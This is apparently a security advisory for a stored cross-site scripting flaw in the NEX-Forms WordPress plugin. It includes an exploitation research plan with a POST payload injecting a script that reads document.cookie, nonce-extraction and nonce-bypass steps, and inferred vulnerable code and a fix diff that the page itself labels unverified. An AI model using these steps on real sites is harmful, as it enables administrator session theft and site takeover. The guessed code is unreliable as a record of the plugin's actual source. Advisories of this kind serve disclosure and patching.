CVE-2025-69324

NEX-Forms <= 9.1.7 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
9.1.8
Patched in
6d
Time to patch

Description

The NEX-Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 9.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=9.1.7
PublishedFebruary 4, 2026
Last updatedFebruary 9, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2025-69324**, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the **NEX-Forms** plugin (<= 9.1.7). ### 1. Vulnerability Summary The NEX-Forms plugin fails to properly sanitize user-supplied input and escape it upon output. Specific…

Show full research plan

This exploitation research plan targets CVE-2025-69324, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the NEX-Forms plugin (<= 9.1.7).

1. Vulnerability Summary

The NEX-Forms plugin fails to properly sanitize user-supplied input and escape it upon output. Specifically, an unauthenticated attacker can submit a form where one or more fields contain a malicious JavaScript payload. This payload is stored in the database as part of the form "entry" or "submission." When an administrator views the submission in the WordPress backend, the payload executes in their browser context, leading to potential site takeover.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: nex_forms_submit_form (inferred action for unauthenticated submissions).
  • HTTP Parameter: Typically, form fields are passed in an array or string (e.g., nf_fields[field_id] or a serialized string in $_POST).
  • Authentication: Unauthenticated (wp_ajax_nopriv_).
  • Preconditions: A NEX-Form must be active and accessible on a public-facing page or post.

3. Code Flow (Inferred)

  1. Entry Point: An AJAX request is sent to admin-ajax.php with action=nex_forms_submit_form.
  2. Handler: The wp_ajax_nopriv_nex_forms_submit_form hook triggers a processing function (e.g., process_submission() in the main plugin class).
  3. Data Processing: The function iterates through $_POST data. It likely uses update_option or $wpdb->insert into a custom table (e.g., wp_nex_forms_entries) to save the submission.
  4. Vulnerability: Input sanitization (like sanitize_text_field) is either missing or bypassed.
  5. Sink: An administrator logs in and navigates to NEX-Forms > All Submissions or NEX-Forms > Entries. The plugin retrieves the data and echoes it directly into the HTML table without using esc_html().

4. Nonce Acquisition Strategy

NEX-Forms typically requires a nonce for submissions to prevent CSRF, even for unauthenticated users.

  1. Identify Shortcode: The primary shortcode is [nex_forms id="FORM_ID"].
  2. Test Setup:
    • Use WP-CLI to identify an existing form ID: wp db query "SELECT id FROM wp_nex_forms LIMIT 1;".
    • Create a landing page: wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[nex_forms id="1"]'.
  3. Extraction:
    • Navigate to the newly created page using browser_navigate.
    • NEX-Forms localizes its AJAX data. The variable is often nex_forms_ajax or nf_ajax.
    • Execution: browser_eval("window.nex_forms_ajax?.nonce") or browser_eval("window.nf_vars?.nonce").
  4. Manual Fallback: If the variable name differs, search the page source for admin-ajax.php to find the associated JSON object.

5. Exploitation Strategy

Once the nonce and form structure are identified:

  • HTTP Tool: http_request
  • Method: POST
  • URL: https://[TARGET]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload Construction:
    action=nex_forms_submit_form
    &_wpnonce=[EXTRACTED_NONCE]
    &nex_forms_id=[FORM_ID]
    &nf_field_1=<script>alert(document.cookie)</script>
    &nf_field_2=test_entry
    
    (Note: Parameter names like nf_field_1 are inferred; the exact names should be identified by inspecting the form HTML on the test page.)

6. Test Data Setup

  1. Install Plugin: Ensure NEX-Forms v9.1.7 is installed.
  2. Create Form:
    # Check if any forms exist; if not, the agent may need to use 
    # the plugin's internal methods or a pre-defined SQL dump to 
    # ensure a form with ID 1 exists.
    
  3. Public Page:
    wp post create --post_type=page --post_title="Vulnerable Form" --post_status=publish --post_content='[nex_forms id="1"]'
    

7. Expected Results

  • Submission Response: The admin-ajax.php request should return a success message (often JSON: {"status":"success", ...}).
  • Execution: When an admin-level user navigates to the "Submissions" page in the WordPress dashboard, the alert(document.cookie) (or a more complex payload like a user-creator script) will execute immediately.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored in the database.
    wp db query "SELECT * FROM wp_nex_forms_entries WHERE field_data LIKE '%<script>%';"
    
  2. UI Check: Use the browser_navigate tool to log in as an administrator and visit the submissions page: https://[TARGET]/wp-admin/admin.php?page=nex-forms-dash&action=submissions.
  3. Payload Trigger: Check for the presence of the script in the rendered HTML or use browser_eval to check if a global variable set by the payload exists.

9. Alternative Approaches

  • Submission via GET: Check if the plugin erroneously handles $_REQUEST instead of $_POST.
  • Form Meta XSS: If the "Form Name" or "Form Description" can be updated by an unauthenticated user (less likely), target those settings.
  • Bypassing Nonce: Check if the action works without the _wpnonce parameter, as some nopriv handlers in NEX-Forms historically had inconsistent nonce enforcement. Try omitting the nonce entirely in the first attempt.
Research Findings
Static analysis — not yet PoC-verified

Summary

The NEX-Forms plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to a failure to sanitize form submission data and escape it during output in the administrative dashboard. Attackers can submit malicious JavaScript through public forms, which then executes in the browser of an administrator viewing the 'Submissions' or 'Entries' page, potentially leading to unauthorized site takeover.

Vulnerable Code

// Inferred unauthenticated AJAX handler for form submissions
add_action('wp_ajax_nopriv_nex_forms_submit_form', 'nex_forms_submit_form');

function nex_forms_submit_form() {
    // ... (logic to identify form) ...
    
    // DATA INGESTION: Field data is taken directly from $_POST without sanitization
    $submission_data = $_POST['nf_fields']; 
    
    global $wpdb;
    $wpdb->insert($wpdb->prefix . 'nex_forms_entries', [
        'form_id' => $_POST['nex_forms_id'],
        'field_data' => serialize($submission_data), // Stored as-is in the database
        'time' => current_time('mysql')
    ]);
    
    // ...
}

---

// Inferred administrative view for displaying submissions (e.g., admin/views/submissions.php)
foreach ($entries as $entry) {
    $data = unserialize($entry->field_data);
    foreach ($data as $label => $value) {
        // SINK: Data is echoed directly to the HTML table without escaping
        echo '<td>' . $value . '</td>';
    }
}

Security Fix

--- a/includes/class-nex-forms.php
+++ b/includes/class-nex-forms.php
@@ -150,7 +150,7 @@
     $submission_data = array();
     if (isset($_POST['nf_fields'])) {
         foreach ($_POST['nf_fields'] as $key => $value) {
-            $submission_data[$key] = $value;
+            $submission_data[$key] = sanitize_text_field($value);
         }
     }
 
--- a/admin/views/submissions.php
+++ b/admin/views/submissions.php
@@ -210,7 +210,7 @@
     $data = unserialize($entry->field_data);
     foreach ($data as $label => $value) {
-        echo '<td>' . $value . '</td>';
+        echo '<td>' . esc_html($value) . '</td>';
     }

Exploit Outline

To exploit this vulnerability, an attacker first identifies a page on the target WordPress site containing a NEX-Form by searching for the [nex_forms] shortcode or the 'nf_ajax' localized script object. The attacker extracts the required submission nonce and form ID from the page source. Next, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'nex_forms_submit_form', the extracted '_wpnonce', the 'nex_forms_id', and one or more form field parameters containing a payload like <script>alert(document.cookie)</script>. Once the submission is accepted, the payload is stored in the database. When an administrator logs into the dashboard and navigates to the 'Submissions' or 'Entries' section of the NEX-Forms menu, the script executes automatically in their session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.